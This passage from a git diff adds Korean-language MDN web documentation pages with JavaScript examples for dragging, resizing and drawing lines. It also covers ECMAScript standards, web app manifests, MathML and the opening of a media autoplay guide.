+  movMeId.style.left = "80px";
+
+  document.onmousedown = coordinates;
+  document.onmouseup = mouseup;
+
+  function coordinates(e) {
+    if (e == null) { e = window.event;}
+
+    // <span style="font-size: 1rem;">e.srcElement은 IE에서 타겟 엘리먼트로 가지고 있고 반면 </span><span style="font-size: 1rem;">e.target은 firefox에서 타겟 엘리먼트로 가지고 있다.</span>
+// 두 프로퍼티들은 이벤트가 일어난 HTML 엘리먼트를 반환한다.
+    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
+
+    if (sender.id=="ImgMov") {
+      mouseover = true;
+      pleft = parseInt(movMeId.style.left);
+      ptop = parseInt(movMeId.style.top);
+      xcoor = e.clientX;
+      ycoor = e.clientY;
+      document.onmousemove = moveImage;
+      return false;
+    }
+    return false;
+  }
+
+  function moveImage(e) {
+    if (e == null) { e = window.event; }
+    movMeId.style.left = pleft+e.clientX-xcoor+"px";
+    movMeId.style.top = ptop+e.clientY-ycoor+"px";
+    return false;
+  }
+
+  function mouseup(e) {
+    document.onmousemove = null;
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;img id="ImgMov" src="http://placehold.it/100x100&amp;text=JS" width="64" height="64"&gt;
+  &lt;p&gt;Drag and drop around the image in this page.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;</pre>
+<h2 id="Example:_Resizing_things" name="Example:_Resizing_things">예제: 크기 조정하기</h2>
+<div>
+ <p>이미지 크기 조정하는 예제(실제 이미지가 크기가 조정되는 것이 아니고,  이미지의 랜더링만 되는 것이다.)</p>
+ <pre class="brush:js">  &lt;!DOCTYPE html&gt;
+  &lt;html&gt;
+    &lt;head&gt;
+      &lt;style&gt;
+        #resizeImage {
+          margin-left: 100px;
+        }
+      &lt;/style&gt;
+      &lt;script&gt;
+      window.onload = function() {
+
+        var resizeId = document.getElementById("resizeImage");
+        var resizeStartCoordsX,
+            resizeStartCoordsY,
+            resizeEndCoordsX,
+            resizeEndCoordsY;
+
+        var resizeEndCoords;
+        var resizing = false;
+
+        document.onmousedown = coordinatesMousedown;
+        document.onmouseup = coordinatesMouseup;
+
+        function coordinatesMousedown(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          var element = (typeof( window.event ) != 'undefined' ) ? e.srcElement : e.target;
+
+          if (element.id == "resizeImage") {
+            resizing = true;
+            resizeStartCoordsX = e.clientX;
+            resizeStartCoordsY = e.clientY;
+          }
+          return false;
+        }
+
+        function coordinatesMouseup(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          if (resizing === true) {
+            var currentImageWidth = parseInt(resizeId.width);
+            var currentImageHeight = parseInt(resizeId.height);
+
+            resizeEndCoordsX = e.clientX;
+            resizeEndCoordsY = e.clientY;
+
+            resizeId.style.height = currentImageHeight - (resizeStartCoordsY - resizeEndCoordsY) + 'px';
+            resizeId.style.width = currentImageWidth - (resizeStartCoordsX - resizeEndCoordsX) + 'px';
+
+            resizing = false;
+          }
+          return false;
+        }
+      }
+      &lt;/script&gt;
+    &lt;/head&gt;
+
+    &lt;body&gt;
+      &lt;img id="resizeImage" src="http://upload.wikimedia.org/wikipedia/commons/e/e7/Mozilla_Firefox_3.5_logo_256.png"
+width="64" height="64"&gt;
+      &lt;p&gt;Click on the image and drag for resizing.&lt;/p&gt;
+    &lt;/body&gt;
+
+  &lt;/html&gt;</pre>
+</div>
+<h2 id="Example:_Drawing_Lines" name="Example:_Drawing_Lines">예제: 라인 그리기</h2>
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+function linedraw(ax,ay,bx,by)
+{
+    if(ay&gt;by)
+    {
+        bx=ax+bx;
+        ax=bx-ax;
+        bx=bx-ax;
+        by=ay+by;
+        ay=by-ay;
+        by=by-ay;
+    }
+    var calc=Math.atan((ay-by)/(bx-ax));
+    calc=calc*180/Math.PI;
+    var length=Math.sqrt((ax-bx)*(ax-bx)+(ay-by)*(ay-by));
+    document.body.innerHTML += "&lt;div id='line' style='height:" + length + "px;width:1px;background-color:black;position:absolute;top:" + (ay) + "px;left:" + (ax) + "px;transform:rotate(" + calc + "deg);-ms-transform:rotate(" + calc + "deg);transform-origin:0% 0%;-moz-transform:rotate(" + calc + "deg);-moz-transform-origin:0% 0%;-webkit-transform:rotate(" + calc  + "deg);-webkit-transform-origin:0% 0%;-o-transform:rotate(" + calc + "deg);-o-transform-origin:0% 0%;'&gt;&lt;/div&gt;"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="linedraw(200,400,500,900);"&gt; &lt;!--당신의 좌표 교체하기 --&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<p> </p>
diff --git a/files/ko/web/javascript/언어_리소스/index.html b/files/ko/web/javascript/언어_리소스/index.html
new file mode 100644
index 0000000000..5743a54e24
--- /dev/null
+++ b/files/ko/web/javascript/언어_리소스/index.html
@@ -0,0 +1,155 @@
+---
+title: 자바스크립트 언어 자료
+slug: Web/JavaScript/언어_리소스
+tags:
+  - Advanced
+  - 자바스크립트
+translation_of: Web/JavaScript/Language_Resources
+---
+<div>{{JsSidebar}}</div>
+
+<p><strong>ECMAScript</strong>는 <a href="/ko/docs/Web/JavaScript">자바스크립트</a>의 토대를 구성하는 스크립트 언어입니다. ECMAScript는 <a href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">ECMA International</a> 표준화 기구에 의해서 <strong>ECMA-262 및 ECMA-402 스펙</strong>에서 표준화되었습니다. 다음은 현재까지 승인됐거나 작업 중인 ECMAScript 표준입니다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>이름</th>
+   <th>링크</th>
+   <th>출시 날짜</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <th colspan="4">현재판</th>
+  </tr>
+  <tr>
+   <td>ECMA-262 10<sup>th</sup> Edition</td>
+   <td><a href="https://tc39.github.io/ecma262/">Working draft</a></td>
+   <td>2019</td>
+   <td>ECMAScript 2019 (제 10판), 명세 작업 중</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 9<sup>th</sup> Edition</td>
+   <td><a href="http://ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-262/9.0/index.html#Title">HTML</a>, <br>
+    <a href="https://tc39.github.io/ecma262/">Working draft</a>, <a href="https://github.com/tc39/ecma262">repository</a></td>
+   <td>2018</td>
+   <td>ECMAScript 2018 (제 9판)</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 5<sup>th</sup> Edition</td>
+   <td><a href="http://tc39.github.io/ecma402/">Working draft</a>, <a href="https://github.com/tc39/ecma402">repository</a></td>
+   <td>2018</td>
+   <td>ECMAScript 2018 국제화 API 표준</td>
+  </tr>
+  <tr>
+   <th colspan="4">폐기(Obsolete)/역사판</th>
+  </tr>
+  <tr>
+   <td>ECMA-262 (ES 1)</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">PDF</a></td>
+   <td>June 1997</td>
+   <td>ECMAScript 표준 원본.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 (ES 2)</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%202nd%20edition,%20August%201998.pdf">PDF</a></td>
+   <td>August 1998</td>
+   <td>ECMAScript 표준 제2판; 또한 ISO 표준 16262.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 (ES 3)</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf">PDF</a></td>
+   <td>December 1999</td>
+   <td>ECMAScript 표준 제3판; JavaScript 1.5에 해당.<br>
+    <a href="http://www.mozilla.org/js/language/E262-3-errata.html">errata</a> 참조</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 (ES 5)</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a></td>
+   <td>December 2009</td>
+   <td>ECMAScript 제5판<br>
+    <a href="http://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">ES5 errata</a> 및 <a href="/en-US/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5 support in Mozilla</a> 참조</td>
+  </tr>
+  <tr>
+   <td>ECMA-357</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-WITHDRAWN/ECMA-357,%201st%20edition,%20June%202004.pdf">PDF</a></td>
+   <td>June 2004</td>
+   <td><a href="/en-US/docs/E4X" title="E4X">ECMAScript for XML (E4X)</a>.<br>
+    <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">E4X errata</a> 참조.</td>
+  </tr>
+  <tr>
+   <td>ECMA-357 Edition 2</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-357.pdf">PDF</a></td>
+   <td>December 2005</td>
+   <td><a href="/en-US/docs/E4X" title="E4X">ECMAScript for XML (E4X)</a>.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 (ES 5.1)</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/5.1/Ecma-262.pdf">PDF</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/">HTML</a></td>
+   <td>June 2011</td>
+   <td>이 판은 국제화 표준 <a href="http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a> 제3판과 완전히 정렬됨.<br>
+    ES5 errata 수정 포함, 새로운 기능은 없음.</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 1.0</td>
+   <td><a href="http://ecma-international.org/ecma-402/1.0/ECMA-402.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-402/1.0/index.html">HTML</a></td>
+   <td>December 2012</td>
+   <td>ECMAScript 국제화 API 1.0.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 2015 (ES 6)</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a></td>
+   <td>June 2015</td>
+   <td>ECMAScript 2015 (제6판).</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 2.0</td>
+   <td><a href="http://www.ecma-international.org/ecma-402/2.0/ECMA-402.pdf">PDF</a></td>
+   <td>June 2015</td>
+   <td>ECMAScript 국제화 API 2.0.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 2016 (ES 7)</td>
+   <td><a href="http://tc39.github.io/ecma262/2016/">HTML</a></td>
+   <td>June 2016</td>
+   <td>ECMAScript 2016 (제7판).</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 3.0</td>
+   <td><a href="http://tc39.github.io/ecma402/2016/">HTML</a></td>
+   <td>June 2016</td>
+   <td>ECMAScript 국제화 API 3.0. 나중(올해 6월)에 승인될.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 2017 (ES 8)</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/8.0">HTML</a></td>
+   <td>June 2017</td>
+   <td>ECMAScript 2017 (제8판).</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 4<sup>th</sup> Edition</td>
+   <td><a href="http://www.ecma-international.org/ecma-402/4.0">HTML</a></td>
+   <td>June 2017</td>
+   <td>ECMAScript 국제화 API 4.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>ECMAScript의 역사에 대한 자세한 정보는 <a href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">Wikipedia ECMAScript entry</a>를 살펴보세요.</p>
+
+<p>여러분은 코드네임 "Harmony"로 불리우는 ECMAScript의 다음 개정에 참여하거나 그냥 진행상황을 확인할 수도 있습니다.  또한 ECMAScript 국제화 API 스펙도 공개 위키와<span style="line-height: 1.5;"> </span><a href="http://www.ecmascript.org/community.php" style="line-height: 1.5;" title="http://www.ecmascript.org/community.php">ecmascript.org</a> 에 연결된<span style="line-height: 1.5;"> </span><a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" style="line-height: 1.5;" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss mailing list</a>에서도 확인할 수 있습니다.</p>
+
+<h2 id="구현">구현</h2>
+
+<ul>
+ <li><a href="/en-US/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a> - 파이어폭스 포함 여러 Mozilla 제품에 사용되는 자바스크립트 엔진;</li>
+ <li><a href="/en-US/docs/Rhino" title="Rhino">Rhino</a> - 자바로 작성된 자바스크립트 엔진;</li>
+ <li><a href="/en-US/docs/Tamarin" title="Tamarin">Tamarin</a> - (어도비® 플래쉬® 재생기에서 사용되는) 액션스크립트 가상머신;</li>
+ <li><a href="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines" title="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Other implementations</a> (위키피디아).</li>
+</ul>
+
+<h2 id="관련_항목">관련 항목</h2>
+
+<ul>
+ <li><a href="http://brendaneich.com/" title="http://brendaneich.com/">Brendan Eich's blog</a>. Brendan은 자바스크립트와 SpiderMonkey JS 엔진을 만든 사람입니다. 그는 여전히 ECMA 실행그룹과 함께 자바스크립트 언어를 발전시키는데 함께 하고 있습니다.</li>
+ <li><a href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Dmitry Soshnikov의 ECMA-262 Edition 3와 5에 대한 분석</a></li>
+</ul>
diff --git a/files/ko/web/manifest/index.html b/files/ko/web/manifest/index.html
new file mode 100644
index 0000000000..a3a924551b
--- /dev/null
+++ b/files/ko/web/manifest/index.html
@@ -0,0 +1,121 @@
+---
+title: Web app manifests
+slug: Web/Manifest
+tags:
+  - App
+  - Manifest
+  - PWA
+  - Progressive web apps
+  - Reference
+  - Web
+translation_of: Web/Manifest
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/Manifest")}}</div>
+
+<div>{{SeeCompatTable}}</div>
+
+<p><strong>웹 앱 매니페스트</strong>(Web app manifest)는 프로그레시브 웹 앱(PWA)라고 칭하는 웹 기술 모음집의 일부로서, 앱 스토어를 거치지 않고 장치의 홈 화면에 설치할 수 있는 웹사이트를 구성합니다. 단순한 홈 화면 링크/북마크를 통한 일반적인 웹 앱과 달리, PWA는 사전 다운로드를 통해 오프라인에서도 동작하며 일반적인 <a href="/ko/docs/Web/API">Web API</a>도 사용할 수 있습니다.</p>
+
+<p>웹 앱 매니페스트는 웹 애플리케이션의 정보를 {{glossary("JSON")}} 텍스트 파일로 제공하여, 웹 앱의 다운로드 및 네이티브 앱과 유사한 형태로 제공(홈 화면 설치를 통한 더 빠른 접근 및 풍부한 사용자 경험 제공)을 가능케 합니다. PWA 매니페스트는 자신의 이름, 저작자, 아이콘, 버전, 설명, 기타 필요한 리소스 등을 포함합니다.</p>
+
+<div class="hidden">
+<p>Can PWA manifest contain comments?<br>
+ It is a {{Glossary("JSON")}}-formatted file, with one exception: it is allowed to contain "<code>//</code>"-style comments.</p>
+</div>
+
+<h2 id="구성요소">구성요소</h2>
+
+<p>웹 앱 매니페스트는 다음의 키를 포함할 수 있습니다. 각각의 링크를 클릭해 더 많은 정보를 알아보세요.</p>
+
+<p>{{ListSubpages("/en-US/docs/Web/Manifest")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: json notranslate">{
+  "name": "HackerWeb",
+  "short_name": "HackerWeb",
+  "start_url": ".",
+  "display": "standalone",
+  "background_color": "#fff",
+  "description": "A simply readable Hacker News app.",
+  "icons": [{
+    "src": "images/touch/homescreen48.png",
+    "sizes": "48x48",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen72.png",
+    "sizes": "72x72",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen96.png",
+    "sizes": "96x96",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen144.png",
+    "sizes": "144x144",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen168.png",
+    "sizes": "168x168",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen192.png",
+    "sizes": "192x192",
+    "type": "image/png"
+  }],
+  "related_applications": [{
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
+  }]
+}</pre>
+
+<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">매니페스트 배포</h2>
+
+<p>웹 앱 매니페스트는 HTML 페이지 {{HTMLElement("head")}} 요소 내의 {{HTMLElement("link")}} 요소를 사용해 연결합니다.</p>
+
+<pre class="brush: html notranslate">&lt;link rel="manifest" href="/manifest.webmanifest"&gt;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: <code>.webmanifest</code> 확장자는 명세의 <a href="https://w3c.github.io/manifest/#media-type-registration">Media type registration</a> 구획에 정의(매니페스트 파일의 응답은 <code>Content-Type: application/manifest+json</code>을 반환해야 함)되어 있습니다. 브라우저는 <code>.json</code>과 같은 기타 적절한 확장자도 지원합니다. (<code>Content-Type: application/json</code>).</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 매니페스트를 가져오려면 인증 정보가 필요한 경우, 매니페스트 파일이 현재 페이지와 동일한 출처에 위치하더라도 반드시 {{domxref("HTML/CORS_settings_attributes", "crossorigin")}} 특성을 <code>use-credentials</code>로 지정해야 합니다.</p>
+</div>
+
+<h2 id="스플래시_화면">스플래시 화면</h2>
+
+<p>Chrome 47 이후 버전에서는, 홈 화면에서 실행한 사이트가 스플래시 화면을 사용합니다. 스플래시 화면은 웹 앱 매니페스트의 다음 속성을 사용해 자동으로 생성합니다.</p>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/Manifest/name">name</a></code></li>
+ <li><code><a href="/ko/docs/Web/Manifest/background_color">background_color</a></code></li>
+ <li><code><a href="/ko/docs/Web/Manifest/icons">icons</a></code> 배열에서 장치 해상도 기준 128dpi에 제일 근접한 아이콘.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Manifest")}}</td>
+   <td>{{Spec2("Manifest")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.manifest")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps">프로그레시브 웹 앱(PWA)</a></li>
+</ul>
diff --git a/files/ko/web/mathml/index.html b/files/ko/web/mathml/index.html
new file mode 100644
index 0000000000..862714a36c
--- /dev/null
+++ b/files/ko/web/mathml/index.html
@@ -0,0 +1,65 @@
+---
+title: MathML
+slug: Web/MathML
+tags:
+  - Landing
+  - MathML
+  - Reference
+translation_of: Web/MathML
+---
+<p><strong>MathML(Mathematical Markup Language)</strong>은 수학 표기를 기술하고 그 구조와 내용을 모두 담고 있는 <a href="/ko/docs/XML" title="/ko/docs/XML">XML</a> 마크 업 언어이다. 여기에는 이 강력한 기술을 사용하게 해주는 문서와 예제, 도구에 대한 링크를 제공하고 있다.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">MathML 레퍼런스</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/MathML/Element" title="/ko/docs/Web/MathML/Element">MathML 요소 레퍼런스</a></dt>
+ <dd>MathML 요소에 대한 상세 내용과 데스크톱 및 모바일 브라우저에 대한 호환성 정보를 담고 있다.</dd>
+ <dt><a href="/ko/docs/Web/MathML/Attribute" title="/ko/docs/Web/MathML/Attribute">MathML 속성 레퍼런스</a></dt>
+ <dd>요소의 모양이나 동작을 변경하는 MathML 속성에 대한 정보를 제공한다.</dd>
+ <dt><a href="/ko/docs/Web/MathML/Examples" title="/ko/docs/Web/MathML/Examples">MathML 예제</a></dt>
+ <dd>MathML 작동 방식에 대한 이해를 돕는 샘플과 예제를 소개한다.</dd>
+ <dt><a href="/ko/docs/Web/MathML/Authoring" title="/ko/docs/Web/MathML/Authoring">MathML 작성</a></dt>
+ <dd>MathML 편집기와 결과를 웹에 적용하는 방법이 포함된 MathML을 작성하는데 도움이 되는 추천과 팁을 소개한다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/MathML" title="/ko/docs/tag/CSS">모두 보기...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Community" id="커뮤니티">커뮤니티</h2>
+
+<ul>
+ <li><span class="hps">Mozilla 포럼보기...<br>
+  {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</span></li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/%23mathml" rel="external" title="irc://irc.mozilla.org/%23mathml">IRC 채널</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/MathML:Home_Page">Wiki used by Mozilla 공헌자 위키</a></li>
+ <li><a href="http://www.w3.org/Math/" title="http://www.w3.org/Math/">W3C Math Home</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org/Archives/Public/www-math/">www-math w3.org 메일 아카이브</a></li>
+</ul>
+
+<h2 class="Tools" id="도구">도구</h2>
+
+<ul>
+ <li><a class="external" href="http://validator.w3.org">W3C Validator</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/8969/">FireMath Firefox 부가기능</a></li>
+ <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/" title="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Mathzilla Firefox 부가기능 모음</a></li>
+ <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> - Convert LaTeX 문서를 HTML+MathML 웹페이지로 변경</li>
+ <li><a href="http://webdemo.visionobjects.com/equation.html" title="http://webdemo.visionobjects.com/equation.html">Web Equation</a> - 손으로 작성한 공식을 MathML이나 LaTeX로 변환</li>
+ <li><a href="http://www.mathjax.org/" title="http://www.mathjax.org/">MathJax</a> - 크로스 브라우징 JavaScript 수학 출력 엔진. See also the <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">MathJax Native MathML add-on</a>.</li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics"><span class="hps">관련 항목</span></h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS" title="/ko/docs/Web/CSS">CSS</a></li>
+ <li><a href="/ko/docs/Web/HTML" title="/ko/docs/Web/HTML">HTML</a></li>
+ <li><a href="/ko/docs/Web/SVG" title="/ko/docs/Web/SVG">SVG</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("mathml.elements.math", 0)}}</p>
diff --git a/files/ko/web/media/autoplay_guide/index.html b/files/ko/web/media/autoplay_guide/index.html
new file mode 100644
index 0000000000..f6199e5a75
--- /dev/null
+++ b/files/ko/web/media/autoplay_guide/index.html
@@ -0,0 +1,262 @@
+---
+title: 미디어 및 Web Audio API 자동 재생 가이드
+slug: Web/Media/Autoplay_guide
+translation_of: Web/Media/Autoplay_guide
+---
+<p>페이지가 로드 되자마자 소리(또는 소리가 나는 영상)를 자동으로 재생하는 것은 사용자에게 별로 유쾌한 경험은 아닐겁니다. 미디어 자동 재생이 유용하려면 꼭 필요한 경우에 한하여 조심스럽게 쓰여야 합니다. 사용자가 이를 컨트롤 할 수 있게 여러 브라우저들은 미디어 자동 재생을 막는 기능을 제공하고 있습니다. <span class="seoSummary">I본 가이드 문서에서는 다양한 미디어와 Web audio API를 통한 자동 재생 기능에 대해 소개하고 자동 재생을 하는 법과 브라우저의 자동 재생 방지 기능에 깔끔하게 대처하는 법에 대해 알아봅니다.</span></p>
+
+<p>{{HTMLElement("video")}} 엘리먼트에 오디어 트랙이 없거나 음소거인 경우에는 자동 재생 방지 기능에 영향받지 않습니다. 활성화된 오디오 트랙을 가진 미디어는 <strong>audible</strong>로 취급하고 자동 재생 방지 기능이 동작합니다. <strong>Inaudible</strong> 미디어는 그렇지 않습니다.</p>
+
+<h2 id="자동_재생과_자동_재생_방지">자동 재생과 자동 재생 방지</h2>
+
+<p><strong>자동 재생(autoplay)</strong> 이라는 용어는 사용자의 재생 요청 없이 오디오를 재생하는 모든 기능을 총칭합니다. HTML attribute를 통해 재생하거나 사용자 입력 외의 코드에서 Javascript를 통해 재생하는 경우을 포합합니다.</p>
+
+<p>이 말은 브라우저는 아래 두 경우 모두를 자동 재생 동작으로 인지하고 자동 재생 방지 기능을 적용한다는 의미입니다:</p>
+
+<pre class="brush: html">&lt;audio src="/music.mp4" autoplay&gt;</pre>
+
+<p>와</p>
+
+<pre class="brush: js">audioElement.play();</pre>
+
+<p>아래 웹 기능과 API는 자동 재생 방지 기능에 영향을 받습니다:</p>
+
+<ul>
+ <li>{{Glossary("HTML")}} {{HTMLElement("audio")}}, {{HTMLElement("video")}} 엘리먼트</li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+</ul>
+
+<p>사용자의 입장에서는 웹 페이지나 앱이 의도와 무관하게 소음을 내기 시작하면 불쾌하거나 거슬릴 가능성이 높습니다. 때문에 일반적으로 브라우저는 특정 조건 하에서만 자동 재생이 가능하도록 허용하고 있습니다.</p>
+
+<h3 id="자동_재생_가능_여부">자동 재생 가능 여부</h3>
+
+<p>일반적으로 아래 <em>조건 중 하나라도</em> 해당된다면 자동 재생이 가능하다고 볼 수 있습니다</p>
+
+<ul>
+ <li>음소거이거나 오디오 볼륨이 0</li>
+ <li>사용자가 사이트와 상호작용 함 (클릭, 터치, 키 누름 등.)</li>
+ <li>화이트리스트에 등록된 사이트; 브라우저가 판단하기에 사용자가 해당 사이트에서 미디어를 자주 재생하거나 수동으로 화이트 리스트에 사이트를 등록한 경우를 포함합니다.</li>
+ <li>자동 재생 정책이 허용으로 지정되어 {{HTMLElement("iframe")}}와 document에서 자동 재생을 지원하는 경우</li>
+</ul>
+
+<p>이외에는 자동 재생이 막힐겁니다. 정확한 차단 케이스나 사이트를 화이트리스트에 등재하는 방식 등은 브라우저마다 모두 다릅니다. 하지만 위의 케이스들이 좋은 가이드라인이 될 수 있겠죠.</p>
+
+<p>자세한 것은 <a href="https://developers.google.com/web/updates/2017/09/autoplay-policy-changes">Google Chrome</a>과 <a href="https://webkit.org/blog/7734/auto-play-policy-changes-for-macos/">WebKit</a>의 자동 재생 정책을 참조하세요.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 사용자 인터랙션이 이루어지지 않은 탭에서 오디오가 포함된 미디어를 프로그램적으로 수행하면 일반적으로 차단됩니다. 차단 조건은 브라우저별로 몇 개 더 추가 될 수 있습니다.</p>
+</div>
+
+<h2 id="미디어_엘리먼트_자동_재생">미디어 엘리먼트 자동 재생</h2>
+
+<p>이제 자동 재생이 무엇인지, 자동 재생을 방지하는 것은 무엇인지에 대해 자세히 알아봅시다. 자페이지가 로드될 때 어떻게 자동으로 재생하는지, 자동 재생이 실패한 경우를 어떻게 알아내는 지 그리고 브라우저가 자동 재생을 금지한 경우 어떻게 대응할지 알아봅시다.</p>
+
+<h3 id="autoplay_속성">autoplay 속성</h3>
+
+<p>가장 간단한 자동 재생 방법은 {{HTMLElement("audio")}}나 {{HTMLElement("video")}} 엘리먼트에 {{htmlattrxref("autoplay", "audio")}} 속성을 추가하는 겁니다. 이는 {{domxref("HTMLMediaElement.autoplay", "autoplay")}} 속성을 <code>true</code>로 지정하며, <code>autoplay</code>가 <code>true</code>면 아래 조건이 만족된 직후부터 자동 재생을 시도합니다:</p>
+
+<ul>
+ <li>페이지가 자동 재생 기능을 허용할 때</li>
+ <li>페이지 로드 중에 엘리먼트가 생성될 때</li>
+ <li>미디어의 끝까지 문제 없이 재생 가능할 정도로 충분한 데이터가 수신되었으며, 네트워크 품질에 큰 변화가 발생하지 않을 것으로 추정되는 경우.</li>
+</ul>
+
+<h4 id="예제_autoplay_속성">예제: autoplay 속성</h4>
+
+<p>{{HTMLElement("audio")}} 엘리먼트의 <code>autoplay</code> 속성을 사용하는 경우는 아래와 같습니다:</p>
+
+<pre class="brush: html">&lt;audio id="musicplayer" autoplay&gt;
+  &lt;source src="/music/chapter1.mp4"
+&lt;/audio&gt;
+</pre>
+
+<h4 id="예제_2_자동재생_실패_탐지">예제 2: 자동재생 실패 탐지</h4>
+
+<p>자동 재생 기능이 중요하거나, 자동 재생 실패 시 앱에 큰 영향이 가해진다면, 여러분은 아마도 자동 재생이 실패하는 시점을 알고 싶을겁니다. 안타깝게도 {{htmlattrxref("autoplay", "audio")}} 속성을 사용하는 경우, 자동 재생 성공 여부를 알아내는 것이 쉽지 않습니다. 자동 재생 실패 시 발생하는 이벤트가 없기 때문이죠. 게다가 익셉션 또는 콜백, 심지어 자동 재생이 되었을 때 켜지는 플래그조차 없습니다. 여러분이 할 수 있는 건 몇 가지 변수를 체크하거나 경험적으로 자동 재생이 동작했는지 판단할 수 밖에 없습니다.</p>
+
+<p>더 좋은 방법으로는 앱의 동작 방식을 자동 재생 실패를 탐지하기보다 성공을 탐지하는 방향으로 조정하는 것입니다. 이 방법은 간단한데, 미디어 엘리먼트에서 {{event("play")}} 가 발생하길 기다리는 것입니다.</p>
+
